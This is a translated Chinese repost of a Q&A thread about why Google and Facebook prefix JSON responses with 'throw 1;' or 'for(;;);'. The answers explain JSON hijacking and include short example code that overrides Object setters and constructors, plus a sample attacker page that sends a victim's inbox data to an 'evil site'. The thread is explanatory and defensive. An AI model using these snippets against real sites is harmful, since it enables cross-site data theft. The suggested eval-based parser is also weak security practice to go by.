人们为什么要输入“ throw 1; <不要作恶>”和“ for(;;);” 在json响应前面?[重复]

2020/10/14 12:01 · javascript ·  · 0评论

可能重复:
Google为什么在while(1)之前添加;他们的JSON响应?

Google会像这样返回json:

throw 1; <dont be evil> { foo: bar}

和Facebook的ajax具有这样的json:

for(;;); {"error":0,"errorSummary": ""}
  • 他们为什么要放置将停止执行并生成无效json的代码?
  • 如果它无效,他们如何解析?如果您尝试评估它,它将崩溃?
  • 他们只是将其从字符串中删除(似乎很昂贵)吗?
  • 这有什么安全优势吗?

出于安全考虑,对此:

如果刮板在另一个域上,则它们将不得不使用script标签来获取数据,因为XHR无法跨域工作。即使没有,for(;;);攻击者也将如何获取数据?它没有分配给变量,所以不会因为没有引用而被垃圾回收吗?

基本上要获得跨域数据,他们必须要做

<script src="http://target.com/json.js"></script>

但是,即使没有前置崩溃脚本,攻击者也无法使用任何Json数据,除非将其分配给可以全局访问的变量(在这些情况下不是)。崩溃代码实际上无能为力,因为即使没有崩溃代码,他们也必须使用服务器端脚本来使用其站点上的数据。

即使没有,for(;;);攻击者也将如何获取数据?

攻击是基于改变行为的内置类型,特别是ObjectArray,通过改变它们的构造函数或其prototype然后,当目标JSON使用{...}[...]构造时,它们将成为攻击者自己的那些对象版本,并且具有潜在的意外行为。

例如,您可以将setter-property侵入Object,这会出卖以对象常量编写的值:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

然后,当将a<script>指向使用该属性名称的JSON时:

{"x": "hello"}

该值"hello"将被泄漏。

数组和对象文字导致setter的调用方式是有争议的。Firefox删除了3.5版中的行为,以响应对备受瞩目的网站的公开攻击。但是,在撰写本文时,Safari(4)和Chrome(5)仍然容易受到此攻击。

所有浏览器现在禁止的另一种攻击是重新定义构造函数:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

目前,IE8的属性实现(基于ECMAScript第五版标准和Object.defineProperty)目前不适用于Object.prototypeArray.prototype

但是,除了保护过去的浏览器外,JavaScript的扩展可能会在将来引起更多类似的潜在泄漏,在这种情况下,谷壳应该也防止此类泄漏。

考虑一下,在检查了GMail帐户之后,您可以访问我的邪恶页面:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

现在将发生的事情是,来自Google的Javascript代码(提问者认为这是良性的,并立即超出了范围)实际上将发布到我的恶意网站上。假设发送script标记中请求的URL(因为您的浏览器将显示正确的cookie,所以Google会正确地认为您已登录到收件箱):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

现在,我将把该对象的序列化版本发布到我的邪恶服务器上。谢谢!

防止这种情况发生的方法是整理您的JSON响应,并在您可以从同一域中操作该数据时对其进行解码。如果您喜欢此答案,请接受bobince发布的答案。

编辑

这些字符串通常称为“不可解析的碎片”,它们用于修补影响JSON规范的信息泄漏漏洞。这种攻击是现实世界,耶利米·格罗斯曼(Jeremiah Grossman)发现了gmail中的一个漏洞Mozilla还认为这是JSON规范中的漏洞,并且已在Firefox 3中对其进行了修补但是,由于此问题仍然会影响其他浏览器,因此需要“无法解决的问题”,因为它是兼容补丁程序。

Bobice的答案对此攻击有技术解释,这是正确的。

如果它无效,他们如何解析?如果您尝试评估它,它将崩溃?

如果您尝试功能,它将崩溃evaleval允许任意的JavaScript代码,该代码可用于跨站点脚本攻击。

他们只是将其从字符串中删除(似乎很昂贵)吗?

我想是这样。大概是这样的:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

“不要作恶”的残酷行为阻止了开发人员eval直接使用它,而不是使用一种更安全的替代方法。

本文地址:http://javascript.askforanswer.com/renmenweishenmeyaoshuru-throw-1-he-for-zaijsonxiangyingqianmian.html
文章标签: ,   ,   ,  
版权声明:本文为原创文章,版权归 javascript 所有,欢迎分享本文,转载请保留出处!

文件下载

老薛主机终身7折优惠码boke112

上一篇:
下一篇:

评论已关闭!